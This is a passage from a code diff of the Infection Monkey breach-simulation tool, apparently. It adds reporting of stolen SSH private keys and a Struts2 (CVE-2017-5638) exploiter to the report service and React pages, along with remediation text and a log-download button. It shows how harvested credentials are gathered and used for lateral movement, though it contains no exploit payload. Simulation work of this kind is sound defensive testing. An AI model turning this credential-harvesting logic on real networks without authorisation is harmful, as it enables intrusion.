Return private ssh keys found as credentials
:return: List of credentials
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1}
):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
if telem['data']['ssh_info']:
# Pick out all ssh keys not yet included in creds
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} for key_pair in telem['data']['ssh_info']
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} not in creds]
creds.extend(ssh_keys)
return creds return creds
@staticmethod @staticmethod
@ -167,6 +204,8 @@ class ReportService:
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users] 'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users) creds.extend(azure_leaked_users)
logger.info('Azure machines creds generated for reporting')
return creds return creds
@staticmethod @staticmethod
@ -182,9 +221,12 @@ class ReportService:
for attempt in exploit['data']['attempts']: for attempt in exploit['data']['attempts']:
if attempt['result']: if attempt['result']:
processed_exploit['username'] = attempt['user'] processed_exploit['username'] = attempt['user']
if len(attempt['password']) > 0: if attempt['password']:
processed_exploit['type'] = 'password' processed_exploit['type'] = 'password'
processed_exploit['password'] = attempt['password'] processed_exploit['password'] = attempt['password']
elif attempt['ssh_key']:
processed_exploit['type'] = 'ssh_key'
processed_exploit['ssh_key'] = attempt['ssh_key']
else: else:
processed_exploit['type'] = 'hash' processed_exploit['type'] = 'hash'
return processed_exploit return processed_exploit
@ -210,8 +252,12 @@ class ReportService:
@staticmethod @staticmethod
def process_ssh_exploit(exploit): def process_ssh_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit) processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'ssh' # Check if it's ssh key or ssh login credentials exploit
return processed_exploit if processed_exploit['type'] == 'ssh_key':
return processed_exploit
else:
processed_exploit['type'] = 'ssh'
return processed_exploit
@staticmethod @staticmethod
def process_rdp_exploit(exploit): def process_rdp_exploit(exploit):
@ -246,6 +292,12 @@ class ReportService:
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
return processed_exploit return processed_exploit
@staticmethod
def process_struts2_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'struts2'
return processed_exploit
@staticmethod @staticmethod
def process_exploit(exploit): def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter'] exploiter_type = exploit['data']['exploiter']
@ -258,6 +310,7 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -282,7 +335,7 @@ class ReportService:
return \ return \
[ [
ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
for network in network_info['data']['network_info']['networks'] for network in network_info['data']['network_info']['networks']
] ]
@ -295,7 +348,7 @@ class ReportService:
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
for subnet in monkey_subnets: for subnet in monkey_subnets:
for ip in island_ips: for ip in island_ips:
if ipaddress.ip_address(unicode(ip)) in subnet: if ipaddress.ip_address(text_type(ip)) in subnet:
found_good_ip = True found_good_ip = True
break break
if found_good_ip: if found_good_ip:
@ -311,13 +364,15 @@ class ReportService:
@staticmethod @staticmethod
def get_issues(): def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {} issues_dict = {}
for issue in issues: for issue in issues:
machine = issue['machine'] machine = issue['machine']
if machine not in issues_dict: if machine not in issues_dict:
issues_dict[machine] = [] issues_dict[machine] = []
issues_dict[machine].append(issue) issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict return issues_dict
@staticmethod @staticmethod
@ -371,8 +426,12 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password': elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'] == 'ssh_key':
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users: issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
@ -405,6 +464,7 @@ class ReportService:
{'name': 'generated_report'}, {'name': 'generated_report'},
{'$set': {'value': True}}, {'$set': {'value': True}},
upsert=True) upsert=True)
logger.info("Report marked as generated.")
@staticmethod @staticmethod
def get_report(): def get_report():
@ -433,6 +493,7 @@ class ReportService:
'exploited': ReportService.get_exploited(), 'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(), 'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(), 'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys()
}, },
'recommendations': 'recommendations':
{ {

File diff suppressed because it is too large Load Diff

View File

@ -22,7 +22,9 @@ class ReportPageComponent extends AuthComponent {
SAMBACRY: 3, SAMBACRY: 3,
SHELLSHOCK: 4, SHELLSHOCK: 4,
CONFICKER: 5, CONFICKER: 5,
AZURE: 6 AZURE: 6,
STOLEN_SSH_KEYS: 7,
STRUTS2: 8
}; };
Warning = Warning =
@ -293,6 +295,8 @@ class ReportPageComponent extends AuthComponent {
return x === true; return x === true;
}).length} threats</span>: }).length} threats</span>:
<ul> <ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null} <li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ? {this.state.report.overview.issues[this.Issue.ELASTIC] ?
@ -318,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
<li>Azure machines expose plaintext passwords. (<a <li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/" href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null} >More info</a>)</li> : null}
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
</ul> </ul>
</div> </div>
: :
@ -343,7 +350,7 @@ class ReportPageComponent extends AuthComponent {
<li>Weak segmentation - Machines from different segments are able to <li>Weak segmentation - Machines from different segments are able to
communicate.</li> : null} communicate.</li> : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ? {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - machines were able to communicate over unused ports.</li> : null} <li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
</ul> </ul>
</div> </div>
: :
@ -414,7 +421,7 @@ class ReportPageComponent extends AuthComponent {
<ScannedServers data={this.state.report.glance.scanned}/> <ScannedServers data={this.state.report.glance.scanned}/>
</div> </div>
<div> <div>
<StolenPasswords data={this.state.report.glance.stolen_creds}/> <StolenPasswords data={this.state.report.glance.stolen_creds, this.state.report.glance.ssh_keys}/>
</div> </div>
</div> </div>
); );
@ -524,6 +531,22 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateSshKeysIssue(issue) {
return (
<li>
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">SSH</span> attack.
<br/>
The Monkey authenticated over the SSH protocol with private key <span
className="label label-success">{issue.ssh_key}</span>.
</CollapsibleWellComponent>
</li>
);
}
generateRdpIssue(issue) { generateRdpIssue(issue) {
return ( return (
<li> <li>
@ -652,6 +675,24 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateStruts2Issue(issue) {
return (
<li>
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
<CollapsibleWellComponent>
Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible because the server is using an old version of Jakarta based file upload
Multipart parser. For possible work-arounds and more info read <a
href="https://cwiki.apache.org/confluence/display/WW/S2-045"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => { generateIssue = (issue) => {
@ -672,6 +713,9 @@ class ReportPageComponent extends AuthComponent {
case 'ssh': case 'ssh':
data = this.generateSshIssue(issue); data = this.generateSshIssue(issue);
break; break;
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp': case 'rdp':
data = this.generateRdpIssue(issue); data = this.generateRdpIssue(issue);
break; break;
@ -696,6 +740,9 @@ class ReportPageComponent extends AuthComponent {
case 'azure_password': case 'azure_password':
data = this.generateAzureIssue(issue); data = this.generateAzureIssue(issue);
break; break;
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
} }
return data; return data;
}; };

View File

@ -1,8 +1,9 @@
import React from 'react'; import React from 'react';
import {Col} from 'react-bootstrap'; import {Button, Col} from 'react-bootstrap';
import JSONTree from 'react-json-tree' import JSONTree from 'react-json-tree'
import {DataTable} from 'react-data-components'; import {DataTable} from 'react-data-components';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import download from 'downloadjs'
const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />; const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />;
const renderTime = (val) => val.split('.')[0]; const renderTime = (val) => val.split('.')[0];
@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent {
.then(res => this.setState({data: res.objects})); .then(res => this.setState({data: res.objects}));
}; };
downloadIslandLog = () => {
this.authFetch('/api/log/island/download')
.then(res => res.json())
.then(res => {
let filename = 'Island_log'
let logContent = (res['log_file']);
download(logContent, filename, 'text/plain');
});
};
render() { render() {
return ( return (
<Col xs={12} lg={8}> <div>
<h1 className="page-title">Log</h1> <div>
<div className="data-table-container"> <Col xs={12} lg={8}>
<DataTable <h1 className="page-title">Log</h1>
keys="name" <div className="data-table-container">
columns={columns} <DataTable
initialData={this.state.data} keys="name"
initialPageLength={20} columns={columns}
initialSortBy={{ prop: 'timestamp', order: 'descending' }} initialData={this.state.data}
pageLengthOptions={[ 20, 50, 100 ]} initialPageLength={20}
/> initialSortBy={{ prop: 'timestamp', order: 'descending' }}
</div> pageLengthOptions={[ 20, 50, 100 ]}
</Col> />
</div>
</Col>
</div>
<div>
<Col xs={12} lg={8}>
<h1 className="page-title"> Monkey Island Logs </h1>
<div className="text-center" style={{marginBottom: '20px'}}>
<p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p>
<Button bsSize="large" onClick={()=> {
this.downloadIslandLog();
}}>
<i className="glyphicon glyphicon-download"/> Download </Button>
</div>
</Col>
</div>
</div>
); );
} }
} }

View File

@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
Priority: optional Priority: optional
Version: 1.0 Version: 1.0
Description: Guardicore Infection Monkey Island installation package Description: Guardicore Infection Monkey Island installation package
Depends: openssl, python-pip Depends: openssl, python-pip, python-dev